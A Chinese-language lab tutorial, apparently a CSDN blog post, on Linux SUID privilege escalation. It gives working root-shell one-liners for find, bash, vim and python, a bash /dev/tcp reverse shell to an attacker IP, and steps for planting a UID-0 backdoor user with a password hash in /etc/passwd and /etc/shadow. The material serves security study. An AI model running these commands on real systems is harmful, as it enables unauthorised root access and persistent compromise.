关注这个专栏的其他相关笔记:[内网安全] 内网渗透 - 学习手册-CSDN博客
0x01:SUID 文件提权原理
SUID(Set User ID)是 Unix 和 Linux 系统中的一种特殊权限机制。设置了 SUID 的程序文件,在用户执行该程序时,会以文件属主的权限进行执行。例如假设一个程序文件的属主是 root,且该程序文件被赋予了 SUID 属性,那么当其它用户执行该程序文件时,就会以 root 用户的权限进行执行。
SGID 与 SUID 类似,只是在执行程序时获得的是文件属组的权限。
比如 Linux 操作系统中的 passwd 命令(修改密码)就是被赋予了 SUID 权限的,不过它们比较聪明,做了一个限制,只有 root 用户才可以在使用 passwd 的时候可以指定账户名称:
在使用 SUID 的时候有以下几点需要注意:
-
只有可执行的程序文件才能设置 SUID 权限,非二进制程序文件设置 SUID 权限没有任何意义。
-
命令执行者要对该程序文件拥有可执行(X)权限。
-
命令执行者在执行该程序文件时将会获得该程序属主的身份。
-
SUID 权限只在该程序执行过程中有效,即身份改变只在程序执行过程中有效。
0x0101:设置/取消 SUID 权限
- chmod u+s
# 为指定文件设置 SUID 权限 - chmod u-s
# 为指定文件去除 SUID 权限
0x0102:SUID 文件提权原理
SUID 文件提权原理:利用某些二进制文件设置了 SUID 权限,从而以 Root 权限执行系统命令。
常见的利用 SUID 文件提权的思路如下:
-
被赋予 SUID 权限的命令本身可以通过
-exec
等参数执行其他命令 => 直接提权。 -
被赋予 SUID 权限的命令可以操作文件 => 操作
/etc/passwd
等文件进行提权。
常见的可以用来进行 SUID 提权的命令可以参考下面这个链接:
GTFOBins https://gtfobins.github.io/https://gtfobins.github.io/
这里笔者也列举几个,具体的提权姿势可以查看下面的部分:
nmap;vim;find;bash;more;less;nano;cp;awk;mv
0x02:SUID 文件提权姿势
0x0201:FIND — SUID 提权姿势
find
命令是用来在 Linux 系统中查找文件的一个命令。但同时,它也具有执行命令的能力。因此,如果该命令被配置为使用 SUID 权限运行,则可以通过 find 执行的命令,都将以 root 身份去运行。
1. FIND — SUID 提权环境配置
首先以 Root 身份登录 Linux 系统中,输入下面的命令,为 find
命令赋予 SUID 权限:
chmod u+s /usr/bin/find
2. FIND — SUID 提权姿势教程
2.1 FIND + SUID 以 ROOT 身份执行命令
切换为系统普通用户,使用下面的格式便可以利用 find 以 root 身份执行命令:
- touch 1.txt # 创建一个 1.txt 文件,使用 find 执行命令必须要用到一个存在的文件
- find 1.txt -exec whoami \; # 利用 find 特性,执行 whoami 命令
2.2 FIND +SUID 获取 ROOT 权限 Shell
上面这种利用 FIND + SUID 特性以 ROOT 权限执行系统命令的方式还不够爽,我们还可以通过下面的命令直接拿到一个 ROOT 权限的 Shell:
find . -exec /bin/bash -p \; -quit
0x0202:BASH — SUID 提权姿势
Linux 中的 bash
命令用于启动 Base Shell,同时该命令也具有执行命令的能力。因此,如果该命令配置为使用 SUID 权限运行,则可以通过 bash
执行的命令都将以 root 身份去执行。
1. BASH — SUID 提权环境配置
首先以 Root 身份登录 Linux 系统中,输入下面的命令,为 bash
命令赋予 SUID 权限:
chmod u+s /usr/bin/bash
2. BASH — SUID 提权姿势教程
输入下面的命令,即可使用 BASH 特性结合 SUID 获得一个 ROOT 权限 Shell:
bash -p
0x0203:VIM — SUID 提权姿势
vim
是 Linux 系统中的一个编辑文件的命令,若该命令被赋予了 SUID 权限,攻击者可以通过修改 /etc/passwd
和 /etc/shadow
的方式,为自己添加一个拥有 root 权限的用户。
1. VIM — SUID 提权环境配置
首先以 Root 身份登录 Linux 系统中,输入下面的命令,为 vim
命令赋予 SUID 权限:
chmod u+s /usr/bin/vim
2. VIM — SUID 提权姿势教程
2.1 VIM + SUID 手动添加特权用户
若 VIM 具有 SUID 权限,我们可以使用下面的命令,手动为 Linux 系统添加一个特权用户(Liinux 系统万物皆文件特性):
- # 注意,保存文件的时候使用 :wq!,直接使用 :wq 可能会报错,导致写入文件不成功
- vim /etc/passwd # 编辑 /etc/passwd 文件,在其中添加特权用户
- 添加:hacker:x:0:0::/home/hacker:/bin/bash
-
- vim /etc/shadow # 编辑 /etc/shadow 文件,为 hacker 用户设置密码,下面密码是 123456
- 添加: hacker:$1$salt$638tR8bROOvPnPklDQ9Vf/:19103:0:99999:7:::
2.2 VIM + SUID 获取 ROOT 权限 Shell
上面这种写法略显笨拙,有没有更加 EASY 一点的方式直接拿到 Root 权限的 Shell 呢,有的,若目标存在 Python 环境,可以通过下面这句话,利用 VIM + SUID 直接拿到 Root 权限的 Shell:
- # 这个命令部分远控可能不支持,建议在 CMD 命令行中使用
- vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; sh -p")'
0x0204:PYTHON — SUID 提权姿势
python
这个命令是我们在执行 Python 程序时会在前面加上的一个命令。如果该程序被赋予了 SUID 权限,且程序拥有人是 Root,则代表用户在执行 Python 代码时都是以 Root 权限执行的,很容易造成提权。
1. PYTHON — SUID 提权环境配置
首先以 Root 身份登录 Linux 系统中,输入下面的命令,为 python
命令赋予 SUID 权限:
chmod u+s /usr/bin/python
2. PYTHON — SUID 提权姿势教程
输入下面的命令,即可使用 Python 结合 SUID 特性拿到一个高权限用户 Shell:
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
0x03:SUID 文件提权实战
复现环境
靶机 CentOS 7:IP 192.168.0.137
攻击机 Kali Linux:IP 192.168.0.136
0x0301:拿到靶机低权限用户 Shell
提权的前提肯定是你先拿到了一台机器的权限,所以我们得先让靶机上线到 Kali 中。登录 Kali 攻击机,输入下面的命令,监听本机的 7777 端口,等待 Shell:
nc -lvp 7777
然后登录靶机,以低权限用户执行下面的命令,使用 Bash 反弹链接,将权限移交给攻击机:
bash -i >&/dev/tcp/192.168.0.136/7777 0>&1
此时回到 Kali 攻击机,可以看到靶机直接上线:
0x0302:查看敏感 SUID 文件
既然是使用 SUID 文件提权,我们就要先查找系统中所有的 SUID 文件。使用下面命令中的任意一条都可以确定系统中属于 Root 用户的 SUID 文件:
- find / -user root -perm -4000 -print 2>/dev/null
- find / -perm -u=s -type f 2>/dev/null
- find / -user root -perm -4000 -exec ls {} \; 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
命令解析
find
=> 查找文件的命令
/
=> 从根目录开始查找
-user root
=> 文件所有者是 root 用户
-perm -4000
=>-perm
匹配权限,4000, 2000, 1000
分别表示 SUID、SGID、SBIT
-print 2>/dev/null
=> 将标准错误输出到/dev/null
文件
普通文件,文件的权限一般是三位,777 是最高文件权限。
-perm -0777
搜索的就是文件权限 ”完全等于“0777
的文件。
-perm +0777
搜索的就是文件权限 ”至少包含“0777
的文件。特殊文件,包含权限位置四位,
7000
为最高,即-s-s-t
-perm -7000
搜索的就是最高权限文件-s-s-t
。
-perm +7000
搜索的是 ”至少包含“-s-s-t
权限的文件。
find / -perm -u=s -type f 2>/dev/null
命令解析
find
=> 查找文件的命令
/
=> 从根目录开始查找
-perm -u=s
=> 查找 user 位具有 s 权限的文件。
-type f
=>-type b/d/c/p/l/f
指定文件类型是块设备/目录/字符设备/管道/符号链接/普通文件
0x0303:SUID 文件提权 - 反弹 Shell => 交互 Shell
通过上面的操作,我们发现了靶机中存在 SUID 提权的可能,只不过命令是 VIM(这个是笔者故意找罪受的)。
不过问题是,反弹 Shell 是无法使用 VIM 命令的,体验感很差,所以我们还需要将这个反弹 Shell 升级为交互式 Shell,依次输入如下命令即可(要求靶机中有 Python 环境,具体的实现可以参考下面这篇文章):
Linux 反向 shell 升级为完全可用的 TTY shell - sainet - 博客园升级远程 shell(仅限 Unix 机器) 通常,在通过 nc 捕获 shell 之后,会在一个功能非常有限的 shell 中。例如没有命令历史记录(并使用向上“”和“向下”箭头循环浏览它们)和文件名称、命令自动完成等。在缺少这些功能的 shell 中查询或操作会比较麻烦。 注意:要检查 shelhttps://www.cnblogs.com/sainet/p/15783539.htmlhttps://www.cnblogs.com/sainet/p/15783539.html
- ### 1. 检查目标机器可用的 Python 环境
- which python python2 python3
- ### 2. 使用可用的 Python 环境拿到一个交互式 Shell
- python -c 'import pty;pty.spawn("/bin/bash")';
- ### 3. 设置一些环境变量
- export SHELL=bash
- export TERM=xterm-256color #允许 clear,并且有颜色
- ### 4. 输入 ctrl+z 将 Shell 发送到后台
- ### 5. 设置 Shell 以通过反向 Shell 发送控制字符和其他原始输入
- stty raw -echo;fg
- ### 6. 回车一次后输入 reset 再回车,再次进入 Shell 中:
使用上面的流程,获取一个交互式 Shell 后,我们就可以用前面学到的方式,使用 VIM 篡改 /etc/passwd
与 /etc/shadow
文件,写入高权限用户了:
- # 注意,保存文件的时候使用 :wq!,直接使用 :wq 可能会报错,导致写入文件不成功
- vim /etc/passwd # 编辑 /etc/passwd 文件,在其中添加特权用户
- 添加:hacker:x:0:0::/home/hacker:/bin/bash
-
- vim /etc/shadow # 编辑 /etc/shadow 文件,为 hacker 用户设置密码,下面密码是 123456
- 添加: hacker:$1$salt$638tR8bROOvPnPklDQ9Vf/:19103:0:99999:7:::
写入完毕后,我们直接切换到 hacker 用户,就拿到了系统最高权限了,提权成功:
0x04:参考资料
Linux 反向 shell 升级为完全可用的 TTY shell - sainet - 博客园升级远程 shell(仅限 Unix 机器) 通常,在通过 nc 捕获 shell 之后,会在一个功能非常有限的 shell 中。例如没有命令历史记录(并使用向上“”和“向下”箭头循环浏览它们)和文件名称、命令自动完成等。在缺少这些功能的 shell 中查询或操作会比较麻烦。 注意:要检查 shelhttps://www.cnblogs.com/sainet/p/15783539.htmlhttps://www.cnblogs.com/sainet/p/15783539.html
谈一谈Linux与suid提权 | 离别歌phith0n的小站,长期存在与分享关于网络安全与各种编程的原创文章。https://www.leavesongs.com/PENETRATION/linux-suid-privilege-escalation.htmlhttps://www.leavesongs.com/PENETRATION/linux-suid-privilege-escalation.html
反弹Shell升级为交互式Shell ——yzddMr6 - 简书前言 看hack the box的视频的时候,发现ippsec不喜欢用蚁剑,喜欢弹个shell回来。 然后一顿操作把一个简单的shell就升级到了一个标准交互式shell 写...https://www.jianshu.com/p/e7202cb2c3ddhttps://www.jianshu.com/p/e7202cb2c3dd



评论记录:
回复评论: